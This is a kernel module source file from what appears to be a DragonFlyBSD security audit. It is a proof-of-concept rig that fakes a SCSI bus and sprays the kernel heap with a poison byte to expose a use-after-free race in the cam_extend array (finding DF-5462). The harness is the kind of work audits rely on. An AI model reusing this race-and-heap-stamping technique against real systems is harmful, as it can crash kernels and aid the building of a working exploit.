⬢ DragonFlyBSD Kernel Audit
DF-5462 / ptsim.c
← back to finding ↓ download raw
/*
 * ptsim.ko -- fake CAM SIM exposing T_PROCESSOR targets, for scsi_pt.c
 * pass-2 verification of the lockless cam_extend array race
 * (DF-5462).
 *
 * Mechanics under test (all in-tree, unmodified):
 *   ptopen/ptclose/ptstrategy/ptioctl  cam_extend_get(ptperiphs, unit)
 *     -- sys/bus/cam/scsi/scsi_pt.c:153,189,219,632   (NO lock held)
 *   ptctor                             cam_extend_set(ptperiphs, unit, p)
 *     -- sys/bus/cam/scsi/scsi_pt.c:311-312           (sim lock DROPPED)
 *   cam_extend_set() grows the array when index >= nelem:
 *       kmalloc(new) ; bcopy(old,new) ; kfree(old) ; ea->ps = new
 *     -- sys/bus/cam/cam_extend.c:54-78   (no synchronization at all)
 *
 * A reader in cam_extend_get() that loads ea->ps before the swap but
 * dereferences ps[index] after the kfree reads freed kernel memory and
 * uses it as a struct cam_periph *.
 *
 * Knobs:
 *   debug.ptsim.ntargets   how many targets answer INQUIRY (rest ->
 *                          CAM_SEL_TIMEOUT so the bus scan skips them)
 *   debug.ptsim.rescan=1   run XPT_SCAN_BUS on the ptsim bus
 *   debug.ptsim.stamp=1/0  start/stop kernel stamper threads that
 *                          kmalloc/memset(0x41..)/kfree chunks of the
 *                          exact size classes cam_extend_set frees
 *                          (64..4096 bytes), so a raced reader that
 *                          lands in the freed chunk sees 0x41...
 *                          instead of the old (still-valid) pointers
 *                          and faults visibly in cam_periph_acquire().
 *
 * SEND/RECEIVE (0x0A/0x08) are answered with a pattern so reads on
 * /dev/ptN work (used by the DF-5463 timeout-overflow demo).
 *
 * Derived from the DF-5333 evilcd3 rig (findings/poc/DF-5333/evilcd3.c).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/types.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

#define NTARG_MAX	512

static struct lock	 pts_lock;
static struct cam_sim	*pts_sim;
static int		 pts_ntargets = 8;	/* targets answering INQ */
static int		 pts_maxtarget = 8;	/* reported in PATH_INQ */
static int		 pts_stampbyte = 0x00;/* poison byte for stamper */
static volatile int	 pts_stamp_run;		/* stamper threads run flag */
static int		 pts_stamp_hits;	/* chunks stamped */

static void pts_action(struct cam_sim *sim, union ccb *ccb);
static void pts_scan_done(struct cam_periph *periph, union ccb *done_ccb);
static void pts_poll(struct cam_sim *sim);

/* ---------------- device responses ---------------- */

static u_int8_t pts_inq36[36] = {
	0x03,			/* T_PROCESSOR, qual 0 */
	0x00,			/* not removable */
	0x02, 0x02, 0xFF, 0x00, 0x00, 0x00,
	'E','V','I','L','P','T',' ',' ',
	'P','R','O','C',' ',' ',' ',' ',
	'1','.','0',' ',
};

static void
pts_complete(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
pts_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < srclen ? dxfer : srclen;

	if (csio->data_ptr != NULL && copy)
		bcopy(src, csio->data_ptr, copy);
	csio->resid = dxfer - copy;
	csio->scsi_status = SCSI_STATUS_OK;
}

static void
pts_io(struct ccb_scsiio *csio)
{
	u_int8_t *cdb = csio->cdb_io.cdb_bytes;
	u_int8_t b[16];

	if (csio->ccb_h.flags & CAM_CDB_POINTER)
		cdb = csio->cdb_io.cdb_ptr;

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		if ((cdb[1] & 0x01) && cdb[2] == 0x00) {
			/* EVPD page 0: mirror the proven targsim answer */
			memset(b, 0, 4);
			pts_fill_data(csio, b, 4);
			pts_complete((union ccb *)csio, CAM_REQ_CMP);
			return;
		}
		pts_fill_data(csio, pts_inq36, 36);
		pts_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	case 0x08:		/* RECEIVE -- what pt read(2) issues */
		memset(b, 0x5A, sizeof(b));
		pts_fill_data(csio, b, sizeof(b));
		pts_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	case 0x0A:		/* SEND -- what pt write(2) issues */
	case 0x00:		/* TUR */
	case 0x03:		/* REQUEST SENSE */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = csio->dxfer_len;
		pts_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	default:
		pts_complete((union ccb *)csio, CAM_REQ_INVALID);
		return;
	}
}

static void
pts_scsi_io(struct ccb_scsiio *csio)
{
	if (csio->ccb_h.target_id >= (target_id_t)pts_ntargets) {
		/* not present: bus scan must skip this target */
		pts_complete((union ccb *)csio, CAM_SEL_TIMEOUT);
		return;
	}
	pts_io(csio);
}

static void
pts_action(struct cam_sim *sim, union ccb *ccb)
{
	switch (ccb->ccb_h.func_code) {
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		/* NB: cpi overlays ccb_h in union ccb -- no bzero here! */
		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->hba_misc = 0;
		cpi->max_target = pts_maxtarget - 1;
		cpi->max_lun = 0;
		cpi->initiator_id = 15;	/* must not collide with scanned targets */
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->base_transfer_speed = 3300;
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->maxio = 65536;
		strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
		strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
		strncpy(cpi->dev_name, "ptsim", DEV_IDLEN);
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_GET_TRAN_SETTINGS:
		/* must succeed or xpt_announce_periph() bails BEFORE
		 * printing the caller's announce string */
		ccb->cts.type = CTS_TYPE_CURRENT_SETTINGS;
		ccb->cts.transport = XPORT_SPI;
		ccb->cts.transport_version = 2;
		ccb->cts.protocol = PROTO_SCSI;
		ccb->cts.protocol_version = SCSI_REV_2;
		ccb->cts.xport_specific.spi.valid = 0;
		ccb->cts.proto_specific.scsi.valid = 0;
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	case XPT_SCSI_IO:
		pts_scsi_io(&ccb->csio);
		return;
	default:
		pts_complete(ccb, CAM_REQ_INVALID);
		return;
	}
	xpt_done(ccb);
}

static void
pts_poll(struct cam_sim *sim)
{
}

/* ---------------- stamper threads ---------------- */

/*
 * Continuously kmalloc/memset(0x41..)/kfree chunks in every size class
 * cam_extend_set() frees while growing (64 * 2^k bytes).  If a racing
 * cam_extend_get() dereferences a just-freed ps[] array that one of
 * these threads has re-stamped, the periph pointer it loads becomes
 * 0x4141414141414141 and ptopen faults inside cam_periph_acquire()
 * (periph->refcount++) -- a visible manifestation of the UAF read.
 */
static void
pts_stamper(void *arg)
{
	size_t sizes[] = { 64, 128, 256, 512, 1024, 2048, 4096 };
	int i;
	u_int8_t byte = (u_int8_t)pts_stampbyte;

	while (pts_stamp_run) {
		for (i = 0; i < (int)(sizeof(sizes)/sizeof(sizes[0])); i++) {
			void *p = kmalloc(sizes[i], M_DEVBUF, M_INTWAIT);
			memset(p, byte, sizes[i]);
			kfree(p, M_DEVBUF);
			pts_stamp_hits++;
		}
		lwkt_yield();
	}
	kthread_exit();
}

static int
pts_sys_stamp(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error, i;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 1 && !pts_stamp_run) {
		pts_stamp_run = 1;
		for (i = 0; i < 2; i++)
			kthread_create(pts_stamper, NULL, NULL, "ptstamp");
		kprintf("[PTSIM] stamper threads started (byte=%#x)\n",
		    pts_stampbyte);
	} else if (v == 0 && pts_stamp_run) {
		pts_stamp_run = 0;	/* threads self-terminate */
		kprintf("[PTSIM] stamper threads stopping\n");
	}
	return (0);
}

/* ---------------- knobs ---------------- */

static int
pts_sys_rescan(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;
	struct cam_path *path;
	union ccb *ccb;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (pts_sim == NULL)
		return (ENXIO);
	if (xpt_create_path(&path, xpt_periph, cam_sim_path(pts_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = pts_scan_done;
		xpt_action(ccb);
	}
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, ptsim, CTLFLAG_RW, 0, "ptsim control");
SYSCTL_INT(_debug_ptsim, OID_AUTO, ntargets, CTLFLAG_RW, &pts_ntargets, 0,
    "number of targets answering INQUIRY");
SYSCTL_INT(_debug_ptsim, OID_AUTO, maxtarget, CTLFLAG_RW, &pts_maxtarget, 0,
    "max target reported in XPT_PATH_INQ (scan bound)");
SYSCTL_INT(_debug_ptsim, OID_AUTO, stampbyte, CTLFLAG_RW, &pts_stampbyte, 0,
    "poison byte stamper threads write (0x00 -> NULL periph -> ENXIO; "
    "0x41 -> non-canonical periph -> GP panic)");
SYSCTL_PROC(_debug_ptsim, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, pts_sys_rescan, "I", "rescan the ptsim bus");
SYSCTL_PROC(_debug_ptsim, OID_AUTO, stamp, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, pts_sys_stamp, "I", "start/stop heap stamper threads");
SYSCTL_INT(_debug_ptsim, OID_AUTO, stamphits, CTLFLAG_RD, &pts_stamp_hits, 0,
    "chunks stamped (approx)");

/* ---------------- bus registration + scan ---------------- */

static void
pts_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static void
pts_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;

	pts_sim = cam_sim_alloc(pts_action, pts_poll, "ptsim", NULL, 0,
	    &pts_lock, 16, 16, NULL);
	if (pts_sim == NULL) {
		kprintf("[PTSIM] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&pts_lock);
	if (xpt_bus_register(pts_sim, 0) != CAM_SUCCESS) {
		kprintf("[PTSIM] xpt_bus_register failed\n");
		cam_sim_unlock(&pts_lock);
		kthread_exit();
	}

	/* initial scan with ntargets=8 -> pt0..pt7 attach (nelem -> 8) */
	status = xpt_create_path(&path, xpt_periph, cam_sim_path(pts_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[PTSIM] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&pts_lock);
		kthread_exit();
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = pts_scan_done;
	xpt_action(ccb);

	kprintf("[PTSIM] initial bus scan done (%d targets)\n", pts_ntargets);
	cam_sim_unlock(&pts_lock);
	kthread_exit();
}

static int
ptsim_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&pts_lock, "ptsim", 0, LK_CANRECURSE);
		kthread_create(pts_choreography, NULL, NULL, "ptsim");
		break;
	case MOD_UNLOAD:
		kprintf("[PTSIM] unload not supported\n");
		error = EBUSY;
		break;
	default:
		break;
	}
	return (error);
}

static moduledata_t ptsim_mod = { "ptsim", ptsim_modevent, NULL };
DECLARE_MODULE(ptsim, ptsim_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);